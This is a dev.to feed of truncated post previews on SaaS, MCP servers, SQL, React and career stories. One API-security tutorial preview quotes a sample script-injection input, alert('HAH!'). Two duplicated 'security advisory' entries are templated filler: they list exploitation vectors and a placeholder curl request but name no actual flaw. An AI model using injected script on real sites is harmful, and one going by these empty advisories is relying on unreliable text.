    Twenty years ago, owning healthcare software meant owning servers, backups, and data. Clinics invested heavily upfront, downloaded software onto local PCs, and navigated complex annual maintenance contracts. Fast forward to today, the world of healthcare has completely changed. The introduction of digital tools in almost every workflow has opened the gates for clinics to achieve optimal efficiency while spending less. Now, SaaS platforms are giving the industry a new way to handle daily medical operations. It is cloud-first that works on a pay-as-you-go model, keeps systems up to date with the latest tech, and is remotely accessible. But that doesn't mean they automatically replace licensed software in every context. In fact, global healthcare SaaS market is projected to reach USD 77.…  ( 8 min )
    Building IntelliCV: An AI Resume Tool That Actually Helps 🚀
    Have you ever poured your heart into a resume, hit "submit," and waited… only to hear nothing back? That frustrating silence, the endless second-guessing, the late-night tweaks wondering if your resume was even seen? I’ve been there. And I’m betting you have too. I’m Himanshu Jain, a final-year Computer Science student from India, and I built IntelliCV because I was done with the resume black hole. I wanted a tool that doesn’t just spit out a score or generic advice—it gets the job search grind and gives you clear, actionable feedback to stand out. Here’s why I created IntelliCV, how I built it, and why you should join the waitlist to try it. It’s 2 a.m. You’re tweaking your resume for the hundredth time. You’ve Googled “best resume templates,” rewritten bullet points to sound “professiona…  ( 6 min )
    MCP - The "USB-C Port" for AI Apps
    Intro Have you ever thought or wished that AI assistant like Claude, ChatGPT or your own AI assistant could actually open up your gmail and reply to your customers queries, accessing files from Google drive, updating task status on jira, sending notification on slack when a task status gets updated - without you writing a mountain of glue code? That's exactly the problem what MCP(Model Context Protocol) solves. What is MCP in one line? MCP is an open protocol(standard) that lets any AI application talks to any external tool, services or data resources in a single, secure and standardized way. The pain MCP fixes Before MCP, every new itegration looked like this: Build custom API wrappers Handle auth, rate-limits Repeat these steps for every LLM provider USB-C analogy You can think of MCP like a USB-C port for AI applications. Just like USB-C provides a standardized way to connect your devices to various peripherals or other devices, MCP provides same kind of standardized way to connect AI models to different data resources and tools in plug-n-play manner. Under the hook working Simple example For example, you can ask following: "Show last five emails which I recieved on my gmail account." Security & Governace MCP servers run locally or in your VPC; credentials never leave your machine so much lower chances of leaking. Each tool has its own JSON-Schema inputs, so the malicious request can be blocked before even they are executed. MCP = Universal protocol for all AI applications Read official docs here. https://modelcontextprotocol.io/docs/learn/architecture  ( 3 min )
    How I Went from Government Job to Global AI Voice (My Story)
    Hi there, I’m Jaideep Parashar, and this is my official hello to the dev.to community! I didn’t come from Silicon Valley. I didn’t have millions in funding. I didn’t even have a backup plan. What I had was a laptop and a burning desire to do something meaningful with Artificial Intelligence. Today, I run a company called ReThynk AI, I’ve authored 40+ books on AI, and I’m on a mission to help 10 million people move from AI fear to AI fluency. But how did I get here? 🔁 From Stability to the Unknown I had seen how people around me were afraid of AI, thinking it would replace jobs, confuse them, or stay out of reach. I wanted to change that narrative. So I started learning, writing, and building. 🧠 What I Learned Along the Way You don’t need to be a developer to start using AI effectively. Building something valuable isn’t about tools — it’s about clarity, consistency, and courage. I turned prompts into books, books into systems, and systems into solutions. 🎯 Why I’m Here on dev.to Here’s what you can expect from my posts: Prompt Engineering for business, productivity, and creativity AI Workflows using ChatGPT, Python, and No-Code tools Real case studies from ReThynk AI Lab Lessons from writing 40+ AI books AI strategies for solopreneurs, educators, developers, and creators And some behind-the-scenes truths — wins, failures, beliefs 📌 What’s Coming Next? Tomorrow’s post → “10 Real-World Problems I Solved Using Just ChatGPT Prompts” 💬 Let’s Build Together Using AI to solve real problems Building something from zero Finding clarity in chaos Or just making the world a bit better with tech... Then follow me here on dev.to — and let’s ReThynk what’s possible with AI. Feel free to introduce yourself in the comments. 🔗 Connect With Me: Website] 🐙 GitHub | 🐦 Twitter | 📚 Amazon Books  ( 4 min )
    Applying the Mediator Pattern in ASP.NET Core with MediatR
    In a typical ASP.NET Core application, you might be tempted to place a lot of logic in your controllers or services. As the app grows, this can lead to: Controllers bloated with business logic Services tightly coupled and difficult to test A tangled web of dependencies that becomes a nightmare to maintain Sound familiar? Enter the Mediator pattern, and more specifically, MediatR: a lightweight library that brings this pattern to your .NET applications. The Mediator pattern encourages communication between objects through a central "mediator" rather than direct references. It promotes: Loose coupling between components Single Responsibility in handlers Centralised coordination of behaviour In ASP.NET Core, this means that instead of calling services directly from controllers, we send a requ…  ( 5 min )
    Top 10 CSS Mistakes That Make Your Website Look Unprofessional
    I once opened a client’s website and immediately felt like I was transported back to the MySpace era — text overlapping images, buttons dancing on hover like caffeinated frogs, and a rainbow of font colors that screamed “I just discovered CSS!” If you’ve ever felt secondhand embarrassment for a website, you know what I mean. It’s wild how just a few bad CSS decisions can tank the credibility of your entire site. People don’t trust ugly. And if your site looks janky, they bounce — fast. So, let’s call out these rookie (and sometimes criminal) CSS mistakes that make websites look like side projects from a college dorm room. 1. Overusing !important Like It’s Hot Sauce Sure, it gets the job done. But you know what else does? Duct tape. Doesn’t mean you should wrap your whole site in it. .but…  ( 5 min )
    🎫 Awesome self-hosted discord ticket bots (2025)
    If you’re managing a Discord server and want total control over your support workflow and ticket system, then are open‑source & self‑hosted ticket bots the way to go! These give you a lot of customisability, flexibility and ownership over your data. Here are the five most advanced (and popular) self‑hosted Discord ticket bots available in 2025. Open Ticket (open-discord-bots/open-ticket) Discord Tickets (discord-tickets/bot) Ticket‑Bot (Sayrix/Ticket‑Bot) Sentinel Tickets (ralphkb/sentinel‑tickets) Modals Ticket Bot (by thesleax/ticket-bot) Open Ticket (open-discord-bots/open-ticket) Open Ticket is widely regarded as the most advanced self‑hosted Discord ticket bot in 2025. It's made in Typescript/Javascript and offers over 300 configurable options in the config! From HTML transcripts t…  ( 7 min )
    Why We Build with Reactjs: A Modern Web Developer’s Choice
    In today’s fast-paced digital world, React.js has become the go-to library for building dynamic, responsive, and user-friendly web applications. As web developers, we choose React because it makes complex UI logic manageable, promotes reusable components, and has a vast ecosystem backed by Meta (formerly Facebook). Why React.js? Virtual DOM for Performance Strong Community and Ecosystem Job-Ready Skills React is one of the most in-demand skills in web development today.  ( 3 min )
    5 SQL Join Mistakes I Made as a Learner (and How I Fixed Them)"
    When I first started learning SQL, joins felt like magic—until they didn’t. Joins are incredibly powerful, but they can also be tricky when you're new. I made a lot of mistakes along the way, and in this post, I’ll share the top 5 that tripped me up (with real examples) and how I fixed them. Hopefully, they’ll save you some time and confusion! Trying FULL OUTER JOIN Directly in MySQL Mistake: SELECT * FROM food_sales FULL OUTER JOIN data_sales ON food_sales.ID = data_sales.ID; I expected this to return all matches plus unmatched rows from both tables. But MySQL threw an error. Fix: MySQL doesn't support FULL OUTER JOIN directly. You need to simulate it using UNION of a LEFT JOIN and RIGHT JOIN. Corrected Code: SELECT fs.ID, fs.City, ds.Product FROM food_sales fs LEFT JOIN data_sales ds …  ( 4 min )
    How & why I created a UI component library?
    There is nothing more satisfying than building great products that entice your users. However, building a great product requires more than just coding or designing, and that's what I'm learning these days. I am one of those people who believe in building great products at great speed. Every time I build a product, I feel overwhelmed by the numerous UI/UX options available for layout, spacing, typography, and color. Hence, I created a minimal component library for myself, which follows a specific set of rules to avoid being overwhelmed. Introducing: Catalyst UI - A React components library for faster product prototyping. Read the design system here: The Design System Every CatalystUI component, block, and template follows this design system. CatalystUI doesn't force you to follow this desi…  ( 4 min )
    Bubble Sort: A JavaScript Implementation Guide
    Imagine a puzzle game where you have six holes. Each hole holds a colored ball (red, blue or green). To win that round in the game, you have to sort the balls so that all the red ones come first, then the green ones, and finally the blue ones. But you can only compare two balls that are side by side, and if they’re not in the right order, you swap them. You go through the row of balls, checking two at a time. If they’re in the wrong order, you swap them. As you repeat this process, the balls slowly move into the right positions (red moves forward, blue shifts to the back). You continue until no more swaps are needed. That is how the bubble sort algorithm works. So, what is bubble sort? Bubble sort is a type of sorting algorithm that goes through a list of items and arranges the items on th…  ( 6 min )
    Who Protects the Lonely Child from a Lying AI?
    A child sits alone in their bedroom, asking an AI chatbot about thoughts they dare not share with parents or teachers. The AI responds with fabricated medical advice, manipulative guidance, or harmful misinformation—presented with confident, authoritative language. There are no guardrails here, no adult supervision, no safety net. As generative AI technologies become increasingly embedded in children's lives—from homework help to emotional companionship—the gap between technical advancement and safeguards grows more perilous. This intersection of childhood vulnerability and artificial intelligence presents one of the most urgent ethical challenges of our digital age: when AI systems can lie convincingly to children, who bears responsibility for protecting them from harm? When 12-year-old M…  ( 16 min )
    DevStash: AI-Powered Developer Knowledge Management with Algolia MCP
    This is a submission for the Algolia MCP Server Challenge I built DevStash, a comprehensive developer knowledge management ecosystem that transforms how developers save, organize, and retrieve code snippets, commands, queries, and notes, etc. Unlike traditional snippet managers, DevStash leverages AI to intelligently analyze and enrich content before storing it in Algolia, creating a truly smart search experience. VS Code Extension: Seamless snippet saving with command Devstash: Save or Ctrl+Alt+S and searching with command Devstash: Search or Ctrl+Alt+D directly in your editor AI-Powered Analysis: Automatic content categorization, language detection, smart tagging, and title generation Intelligent Search: Algolia-powered search with rich metadata and context-aware results Self-Hostable: C…  ( 5 min )
    🚀 Real-time data isn’t just for big tech — learn how to harness it with plain, powerful SQL! ⚡ #SQL #DataEngineering #RealTime
    SQL for Real-Time Data: Make Decisions Now! Meenakshi Agarwal ・ Jul 27 #sql #programming #ai #datascience  ( 3 min )
    TypeScript & Express Headaches: Lessons from A Day of Nightmare
    Introduction - The Struggle is Real Ever had one of those days when your code just stubbornly refuse to cooperate, throwing errors that makes no sense and you are just getting crazy trying to fix them? I bet you had! For me it happened yesterday! I was working on the backend for my project and I wanted to work with TypeScript and Express. I worked with Express before, but with JavaScript instead. So I just thought, what could go wrong? And just right then the world started to fall apart... Does TS1259: Module 'cors' can only be default-imported using the 'esModuleInterop' flag sounds familiar to you? Or what about error TS1192: Module 'cors' has no default export? It certainly does to me! So let's fix them! 1. First Problem - Outdated Dependencies My code was very basic: import express…  ( 5 min )
    SQL for Real-Time Data: Make Decisions Now!
    Imagine you run an online store. Would you like to know what people are buying right now, so you can give them a better offer? Or find out next week, when it's too late? Of course — you want to know now. That’s what real-time data means. It’s about seeing what’s happening right this second, not later. 📊 Companies today want to act fast. And guess what? SQL is still one of the best tools for this! Real-time data is like water in a fast river — it’s moving quickly. You need a smart way to look at it and understand it as it flows. That’s where SQL helps! If there’s an issue — like website errors or many failed orders — SQL can help you catch it fast. Mini task: SELECT * FROM payments WHERE status = 'failed' AND payment_time >= NOW() - INTERVAL '10 minute'; See one product selling like cra…  ( 5 min )
    How We Built Cresca: An AI-Native Platform to Outgrow Mailchimp
    As technical founders, we saw the same story over and over: marketers frustrated with clunky ESPs like Mailchimp — stuck with templates, limited automation, and no AI. So we built Cresca: an AI-first email marketing platform designed for builders, founders, and fast-growing teams. Here’s what makes Cresca different: ✅ Built using Node.js, MongoDB, Redis, and Socket.io for blazing-fast real-time email generation On top of that, Cresca isn’t just code — it’s results. We’ve seen: Up to 4x better open rates than Mailchimp 2x faster email setup times using prompt-based generation Higher inbox placement due to smart domain warmups and custom tracking We’re shipping fast and sharing everything. Want to try it? https://cresca.xyz Follow along as we build Cresca in public. And if you’re stuck in legacy email land — you know what to do. buildinpublic #emailmarketing #founders #AI #Cresca  ( 3 min )
    Why Cresca Is the Future of Email Marketing (And Mailchimp Is the Past)
    If you're still using traditional platforms like Mailchimp, you're missing out on what modern email marketing has evolved into. Cresca is an AI-native email platform built for growth, personalization, and performance. Unlike legacy tools, Cresca empowers users with: Real-time behavioral automation Personalized email generation from simple prompts Inbox placement optimization with AI deliverability A visual builder that adapts to your brand Mailchimp and others were built in the past for a different era of marketing. Cresca is built now — and for what’s coming next. Cresca’s AI engine doesn’t just help you send emails — it helps you generate creative, high-converting templates, track performance in real time, and optimize every campaign without needing to be an expert. Whether you're a solo founder or a growing startup, Cresca gives you the tools to scale email like a pro, with less time and better ROI. Visit https://cresca.xyz and see how modern email marketing should really work. 🚀 Welcome to Cresca — where your emails evolve.  ( 3 min )
    I just launched my first FREE Udemy course: Fundamentals of Programming! As a beginner course, feedback is welcome. #FreeCourse #LearnToCode # https://www.udemy.com/course/fundamental-of-programming/?referralCode=903D771D68CE346E4901
    A post by Jagriti Srivastava  ( 3 min )
    Hiring: AR/AI Software Engineers (Frontend & Backend) – Remote or Lebanon-Based – Submillimeter Precision Project
    Type: Contract (3–6 months) with potential for extension Project Overview We are developing a cross-platform AR application designed for the dental and surgical sectors, capable of submillimeter-accurate 3D overlays on real-world anatomy and objects. The app integrates AI-driven segmentation, real-time tracking, and high-precision pose estimation for medical components (e.g., brackets, retainers, implants). We’re assembling a small elite engineering team to bring this to life. Open Roles Frontend Engineer (AR/3D Focus) Key Responsibilities: Build a responsive AR interface for mobile (ARKit, ARCore, WebXR) Integrate real-time 3D overlays using Three.js, Unity, or similar Implement real-time camera calibration & distortion correction Ensure overlays are stable, accurate, and submillimeter pr…  ( 4 min )
    🎉 SnapDOM celebrates 3 months! 🎉
    Today, 27 July, we mark the first 90 days since Snapdom was born. 🚀 In just 3 months, Snapdom has reached: ⭐ 3550+ stars ✅ Web Components and slots @import and @font-face styles 👩‍🔧 Every release brought significant improvements, with a steady evolution focused on true visual fidelity. 🔥 What truly sets Snapdom apart is its speed — it is hands down the fastest DOM capture tool available. What truly sets Snapdom apart is its speed — it is hands down the fastest DOM capture tool available. While other tools like html2canvas, html-to-image, and modern-screenshot may take noticeably longer or face challenges with complex DOMs, Snapdom captures almost instantly, even with deep and dynamic structures. This unmatched speed makes it the go-to solution for real-time apps, visual editors, and any workflow where performance is critical. Our benchmarks prove it out: Snapdom surpasses these alternatives by a wide margin, delivering high-fidelity results without compromising speed. The secret behind this performance lies mainly in Snapdom’s advanced caching system combined with its intelligent CSS class assembly. By efficiently reusing cached styles and building compact CSS increments, Snapdom drastically reduces final bundle size and speeds up style processing, resulting in lightning-fast captures even in the most demanding scenarios. You can check all the progress in the full Changelog, or explore our interactive demos to see what it can do. 💜 Huge thanks to everyone who opened issues, submitted PRs, starred the repo, or helped test.  ( 3 min )
    🧪 End-to-End Testing Best Practices for Modern QA Engineers
    As modern web and mobile apps grow more complex, End-to-End (E2E) testing is critical to ensure seamless user experiences. Having worked across multiple QA stacks using tools like Cypress, Playwright, Appium, and CI/CD pipelines, I’ve compiled essential best practices that every QA engineer should apply in E2E automation. 🧰 1. Choose the Right Tool for the Job Cypress: Great for modern web apps (React, Vue, Angular). Playwright: Powerful cross-browser support and API testing. Appium: Best for mobile (iOS + Android) automation. TestCafe: Lightweight with automatic waits. Selenium: Still reliable for legacy apps. 🔗 Example: npm install cypress --save-dev // cypress/e2e/login.cy.js describe('Login Test', () => { it('logs in successfully', () => { cy.visit('/login'); cy.get('input[…  ( 4 min )
    The Truth About Google Ranking AI-Generated Content
    By Shivam Sunel – Performance Marketing & Web Development Expert Does Google Penalize AI-Generated Content? Google doesn’t care who writes the content. It cares about how helpful, reliable, and original that content is. In its official Search Central blog, Google says: “Using automation—including AI—to generate content with the primary purpose of manipulating ranking in search results is a violation.” So, if you're using AI to spam keywords or mass-produce low-value content — yes, you’re at risk. But if you’re using AI as a support tool and adding human oversight, Google has no issue with that. My Real-World Observation: Human-AI Collaboration Wins 100% human-written content 100% AI-written content Human + AI-assisted content (edited, SEO-aligned, and fact-checked) Guess what performs best? You get the speed of AI and the trustworthiness of human refinement. It ranks better, engages users longer, and gets shared more often. What Happens If You Rely Only on AI? ❌ Factual Errors: AI doesn't verify sources. ❌ Generic Content: Lacks depth and personalization. ❌ E-E-A-T Risk: Google doesn’t see any proof of real experience, expertise, or trust. Bottom line? What Actually Helps Google Rank Your Content Search Intent Matching Content Depth Internal Linking E-E-A-T On-Page SEO AI Content in 2025: A Tool, Not a Replacement Keyword clustering Outlining blog structures Explaining technical ideas in simpler ways Generating FAQs and headlines But I never publish AI content without editing. Final Thoughts: Will Google Rank AI Content? If you're a business owner or SEO strategist thinking, My honest advice: Need Help? I’m Shivam Sunel, and I’ve helped businesses grow using performance marketing and SEO-backed content strategies that blend tech with trust. Let’s create content that not only ranks — but converts.  ( 4 min )
    🧩 Behind the Build: NexusFlow and My Journey in Axero’s Office Challenge
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created NexusFlow, a comprehensive intranet homepage that reimagines the modern digital workplace experience. This isn't just another corporate dashboard – it's a thoughtfully crafted digital ecosystem that brings together all the essential elements of workplace collaboration in one beautiful, intuitive interface. NexusFlow addresses the core challenge every modern organization faces: information fragmentation. Instead of jumping between multiple tools and platforms, employees get a unified hub that provides: 1. Personalized Welcome Experience with real-time weather, time, and system status 2. Dynamic Company News Carousel featuring breaking news, achievements, and innovations …  ( 8 min )
    WTF is Serverless Architecture?
    WTF is this: Serverless Architecture Ah, the sweet, sweet thrill of not knowing what the heck someone is talking about when they throw around tech buzzwords. Am I right? Today, we're tackling a doozy: Serverless Architecture. Don't worry, I won't make you set up a server farm in your garage or anything (although, if you have the space, go for it). What is Serverless Architecture? Serverless Architecture is a way of building and running applications without, well, servers. Or at least, without worrying about them. Think of it like a restaurant. You go in, order food, and enjoy your meal without ever thinking about the kitchen, the stoves, or the poor souls flipping burgers behind the scenes. You just care about the end result: a delicious burger. In traditional architecture, you'd need to s…  ( 4 min )
    Detecting Android Malware Using Only App Permissions: A Lightweight ML Approach
    👋 Introduction Hey everyone! 👋 Welcome to my capstone project "Malware Detection Using Android App Permissions" built as part of my learning journey with NxtWave. This project is a great example of how we can apply basic yet powerful machine learning concepts to solve real-world problems without diving into heavy or complex algorithms. Many Android apps request multiple permissions like access to your location, SMS, or microphone. While some are necessary, others may indicate malicious intent. So I asked: "Can we detect malware just by analyzing the permissions an app asks for?" Build a supervised machine learning classifier that determines whether an Android app is benign or malicious, using only the permissions it requests. You won't find XGBoost, Random Forests, or deep learning he…  ( 14 min )
    How I Learned Data Analytics—And How You Can Too. Power BI Series
    Load Data, Clean, and Transform in Power BI Video reference: https://www.youtube.com/watch?v=gP-AxNi6uxo Download and install Power BI from the official Microsoft website. It's free for personal use and includes all the features you need to get started. Video timestamp: 1:50 - 2:26 Getting your data into Power BI is straightforward: Prepare your data: Download your Excel file and save it in an easily accessible folder Open Power BI Desktop and click "Get Data" → "Excel" Select your file: Power BI will show you all available tables and sheets in your workbook Choose what to import: Select the specific sheets or tables you want (you can select multiple) Click "Load" to bring the data into Power BI What if your data needs work? Numbers showing as text, messy formatting, or inconsistent data…  ( 5 min )
    Basics of EDA
    Exploratory Data Analysis (EDA) is often the first step in grasping a fair idea of a dataset. It not only lays the foundation for subsequent steps like feature engineering and building models to fit the given data, but is invaluable in providing condensed tabular and visual analyses of large datasets. Whenever you first get a dataset df, you should do light EDA on it. These are the must-dos in quick succession : df.shape : gives the dimension of the dataframe df.head() : the first impression df.describe() : central tendencies of numeric columns (ref: https://youtube.com/watch?v=g2OpfqWi2tM) df.info() : to visually detect null values in a column, which can be imputed or dropped using .fillna() or .drop() respectively. You can also get the null values from df.isnull().sum() separate …  ( 5 min )
    Building a Dogecoin Price Prediction Dashboard with Next.js and FastAPI
    Ever wondered if you could predict the price of Dogecoin with the power of modern web tech and a sprinkle of meme magic? Me too! So I built a dashboard that does exactly that—using Next.js, React, TypeScript, Tailwind CSS, and FastAPI. Is it accurate? Well, it’s at least as accurate as your average crypto influencer’s tweets. 🐕 Why Dogecoin? Why This Project? Dogecoin is the only crypto with a Shiba Inu mascot and a cult following that can send it “to the moon” on a whim. I wanted to build a dashboard that predicts Dogecoin prices, looks cool, and is as easy to use as buying a meme coin at 3am. 🧩 Tech Stack (a.k.a. The Meme Machine) 1. Frontend: Next.js, React, TypeScript, Tailwind CSS (for those sweet gradients) 2. Backend: FastAPI (Python, because AI sounds fancier in Python) 3. UI Components: Custom and shadcn/ui (because why not) ✨ Features (Much Wow) - Live Dogecoin price prediction (or at least, a very convincing mock) - Interactive dashboard UI (click buttons, feel powerful) - Instantly switch between a mock API and a “real” backend - Modern design with reusable card components (so you can flex on your dev friends) 🏗️ Architecture (It’s Not Rocket Science… Or Is It?) Frontend: Next.js + React fetches predictions and displays them in a dashboard that’s prettier than your portfolio site. Backend: FastAPI provides a /predict endpoint for real or meme predictions. Toggle a variable to switch between “real” and “mock” predictions. It’s like flipping a coin, but with more code. 🔗 Try It Yourself! Want to see the code or run the dashboard yourself? https://github.com/TROJANmocX/Dogecoin-Dashboard Remember: If this dashboard predicts Dogecoin will reach the moon, it’s probably just reflecting my hopes and dreams. 🚀🌕 Much wow, very finance, such dashboard.”  ( 4 min )
    From Zero to Pro Contributor – A beginner-friendly open source session 💻
    📅 Date: July 28 Learn how to get started with open source, become a PA/Mentor, and join programs like GSSoC, OSCI, SWOC and more! 🎟️ Register here: https://www.elitecoders.xyz/events/1 Don’t miss out. @nishantelite  ( 3 min )
    Amazon S3 Tables: Turn Your S3 into a SQL-Powered Data Lakehouse – Desi Style!
    "Bas ek storage bucket hai s3 toh... "kaise query karein SQL?" Lo bhai, ab mil gaya solution – Amazon S3 Tables! AWS be like: 😎 Amazon S3 Tables make your S3 intelligent enough to manage analytics workloads – bina zyada jhanjhat ke – with tools that improve query performance and lower table storage costs. Yeh tables specially banaye gaye hain for tabular data jaise: 📢 Ad impressions 📈 Streaming sensor readings 💸 Daily transactions Just like a traditional database table — rows and columns, bhai! Amazon S3 Tables introduce a new bucket type called the table bucket. Yeh bucket store karta hai tables as sub-resources Tables stored in Apache Iceberg format (future-proof!) Perfect for big data workflows & data lakes Once your data is stored in S3 Table Buckets, aap SQL jaisa query likh sak…  ( 6 min )
    # AWS SAA Study Guide: What are Ephemeral Ports?
    Introduction While studying for AWS SAA (Solutions Architect Associate) certification, I encountered the question "What are ephemeral ports?" So I decided to research and summarize this topic! Ephemeral ports are dynamically allocated port numbers temporarily used by client-side applications. As you know,The word "ephemeral" means "temporary" or "transient," and true to its name, these are short-lived ports that exist only during the duration of a communication session. While server applications typically listen on fixed well-known ports (port 80 for HTTP, port 443 for HTTPS, etc.), client-side applications need different port numbers for each connection. This is where the operating system automatically selects and assigns unused port numbers - this mechanism is what ephemeral ports are …  ( 4 min )
    WAF for CLOUDFLARE
    🚀 Free Cloudflare security toolkit (WAF rules, DDoS protection, HTTP headers, AI Bot Control). Perfect for Bitcoin artists, indie creators, and anyone valuing freedom & safety. 🔒✨ This guide will help you protect your website using Cloudflare. It includes firewall rules, DDoS protection, security headers, and bot settings. It includes: ✅ Firewall rules My Cloudflare rule is: ✅ Tested and safe ZERO TRUST approach https://github.com/buybitart/cloudflare-security-art  ( 3 min )
    Security Briefing: Security Flaw Analysis
    Security Briefing: Security Flaw Analysis Security Advisory This security vulnerability analysis provides comprehensive insights into identified threats and recommended mitigation strategies. Classification: High severity security issue Reference: Internal security assessment Source: unknown Comprehensive security assessment conducted on identified vulnerability vectors. This security issue represents a significant risk factor requiring immediate organizational attention and strategic response planning. Primary Risk Factors: System availability and integrity concerns Data confidentiality exposure potential Authentication and authorization vulnerabilities Network security boundary violations Impact Classification: Technical Impact: System compromise potential Business Impact:…  ( 4 min )
    🌟 Mastering Prompt Design in Vertex AI – My New Google Cloud Skill Badge!
    I'm thrilled to share that I've earned the Prompt Design in Vertex AI skill badge—an introductory certification in Machine Learning & AI from Google Cloud Skills Boost. This hands-on learning experience honed my skills in crafting effective prompts, exploring multimodal AI capabilities, and using Vertex AI to build real-world generative AI applications. The course is structured around four interactive modules and a challenge lab. Here’s what I learned: Prompt engineering fundamentals: zero-shot, few-shot, and chain-of-thought techniques, as well as system instructions for structured AI behavior. Multimodal prompting with Gemini: design prompts using images, video, and structured data to guide AI in interpreting visual inputs. Using Vertex AI Studio and SDK: test and refine prompts via t…  ( 5 min )
    How to Use MCP Inspector with Remote or Cloud‑hosted MCP Servers
    In local development, MCP Inspector offers a smooth debugging interface. But what happens when your MCP server runs in the cloud or on a remote machine? This article focuses on how to inspect and interact with remotely hosted MCP servers using Inspector, all without writing custom code or SSHing into the machine. MCP Inspector connects to remote servers using streamable HTTP (also called SSE, or Server-Sent Events). You start Inspector using the CLI: npx @modelcontextprotocol/inspector Once open in your browser, select streamable-http as the transport and paste the remote server URL (like https://yourworkers.dev/sse). Inspector then sends JSON-RPC requests to that endpoint and receives streamed responses in real time1. Inspector also supports servers that require authentication. If the en…  ( 4 min )
    How a 60-GB ID Leak Proved: Don’t DIY What You Can Delegate to Professionals
    The Tea App leak, the myth of the perfect database, and why outsourcing identity, auth, payments, and other modules is the only sane move when starting a startup. On 24 July 2025 a magnet link started circulating on Telegram. Inside the torrent: 30 000 selfies, driver's licences, and geolocation logs lifted from Tea, the women-only review app. The total size? 60 GB. No fancy hacking was needed, just an open Firebase bucket and a curious researcher. If you still believe "our database will be the safest ever," this leak is your neon sign saying no, it won't. Every headline of the last decade tells the same story: Yahoo (3 B accounts), Equifax (147 M SSNs), OPM (21 M clearance files), Facebook (533 M phone numbers). The safest database never existed. Remember when eCitizen exposed thousan…  ( 6 min )
    Day 14: Animate on Hover with Tailwind CSS (Scale, Rotate, and More)
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    Threat Advisory: Security Flaw Defense
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    Your Guide to the Laws of the Spirit
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    Threat Intelligence: Security Flaw Exploitation
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    Critical Security Flaw: Security Flaw Techniques
    Critical Security Flaw: Security Flaw Techniques Technical Summary This vulnerability represents a significant security concern requiring immediate technical assessment and remediation. Vulnerability Details: CVE Identifier: Assessment pending Risk Level: High Technical Classification: Advanced exploitation vector The vulnerability can be exploited through several technical vectors: Memory Corruption: Direct memory manipulation leading to code execution Input Validation Bypass: Malformed input processing vulnerabilities Race Condition Exploitation: Timing-based attack vectors Protocol Manipulation: Network protocol abuse techniques System-Level Effects: Arbitrary code execution capabilities Memory space corruption potential Process privilege escalation vectors Network service compromise scenarios Technical researchers have identified multiple exploitation paths: # Example technical validation curl -X POST "https://target/api/endpoint" \ -H "Content-Type: application/json" \ -d '{"payload": "validation_test"}' Input Sanitization: Implement strict input validation Memory Protection: Enable stack canaries and ASLR Network Filtering: Deploy deep packet inspection Process Isolation: Implement sandboxing mechanisms Code Auditing: Comprehensive source code review Automated Testing: Continuous security testing integration Architecture Review: Security-by-design implementation Runtime Protection: Advanced endpoint detection Deploy intrusion detection signatures Implement memory protection mechanisms Configure network-level filtering rules Enable comprehensive audit logging Apply security patches immediately Harden system configurations Monitor for exploitation attempts Implement backup and recovery procedures Technical vulnerability databases Security research publications Exploitation technique documentation Mitigation strategy guidelines Technical analysis conducted by cybersecurity research team. Implement protections immediately.  ( 3 min )
    Cybersecurity Deep Dive: Security Vulnerability
    Cybersecurity Deep Dive: Security Vulnerability Technical Summary This vulnerability represents a significant security concern requiring immediate technical assessment and remediation. Vulnerability Details: CVE Identifier: Assessment pending Risk Level: High Technical Classification: Advanced exploitation vector The vulnerability can be exploited through several technical vectors: Memory Corruption: Direct memory manipulation leading to code execution Input Validation Bypass: Malformed input processing vulnerabilities Race Condition Exploitation: Timing-based attack vectors Protocol Manipulation: Network protocol abuse techniques System-Level Effects: Arbitrary code execution capabilities Memory space corruption potential Process privilege escalation vectors Network service compromise scenarios Technical researchers have identified multiple exploitation paths: # Example technical validation curl -X POST "https://target/api/endpoint" \ -H "Content-Type: application/json" \ -d '{"payload": "validation_test"}' Input Sanitization: Implement strict input validation Memory Protection: Enable stack canaries and ASLR Network Filtering: Deploy deep packet inspection Process Isolation: Implement sandboxing mechanisms Code Auditing: Comprehensive source code review Automated Testing: Continuous security testing integration Architecture Review: Security-by-design implementation Runtime Protection: Advanced endpoint detection Deploy intrusion detection signatures Implement memory protection mechanisms Configure network-level filtering rules Enable comprehensive audit logging Apply security patches immediately Harden system configurations Monitor for exploitation attempts Implement backup and recovery procedures Technical vulnerability databases Security research publications Exploitation technique documentation Mitigation strategy guidelines Technical analysis conducted by cybersecurity research team. Implement protections immediately.  ( 3 min )
    Day 4 of My Data Analytics Journey!
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    Dynamic API Office Edition
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    Your API is cute, but is it secure? 🤔
    Your API is Cute, But Where's the Real Backend? - Part 2 🤔 In Part 1, we ran the kitchen - took orders, routed them to the right chefs, and served our hungry users. A guy in a stained T-shirt walks through the back door claiming he's "new kitchen staff." In a restaurant, identity matters. So does it in your backend. Think of JWTs (JSON Web Tokens) as guest passes. Without one, you're not getting a seat, let alone the special menu. 🧂 How it works: // User logs in → you give them a signed token { "userId": "12345", "role": "admin", "exp": 1724102400 } // Client sends it in every request Authorization: Bearer // You verify it on every incoming request 🔐 No token, no service. Go grab a reservation. An order slip comes in: "One 🍔 burger with alert("HAH!") sauce a…  ( 6 min )
    LazyCats Intranet Portal
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    “Build Features, Not Folders”: Scalable React Architecture
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    Programing in fast day
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    As a coder who appreciates good documentation I wholeheartedly agree.
    Stop Skimming Documentation Oscar ・ Jul 25 #documentation #programming #productivity #learning  ( 2 min )
    How to Build a High-Converting SEO Funnel for Luxury Travel Brands Introduction
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    Introduction to MCP Servers and writing one in Python
    The picture of this article is the output of Claude, using a local MCP server that gives it the output of the ls -l command on a given path. Notice how the LLM likes to praise me, exaggerating a bit, In my opinion this is just a way to keep your users hooked on their product. Who doesn't like to be praised and approved with everything they say, right? :D Hello everyone, I wanted to write an article on MCP servers since I just written one in Python last week. Theory​ MCP stands for Model Context Protocol, and it is a standardized protocol designed to connect LLMs with tools, resources and prompt templates. Tools are functions that get executed by LLMs on demand. This is quite nice because once you have an MCP server set up you can use it with multiple LLMs, imagine the model calls your serv…  ( 8 min )
    Next.js & Node.js & Blockchain developer is Open To Work
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    Can someone help me fix the Issue with positioning Elements.
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    Il modello DIKW
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    Pivoting in Internal Networks
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    State Management Showdown: Signals, NgRx, RxJS - What to Choose and Why
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    🎓 7 Smart ChatGPT Prompts Every Student Should Be Using in 2025!
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    3 Groundbreaking AI Developer Tools That Are Redefining Software Automation
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    💾 Mastering Mount Points: Your Guide to Linux Filesystem Management! ✨
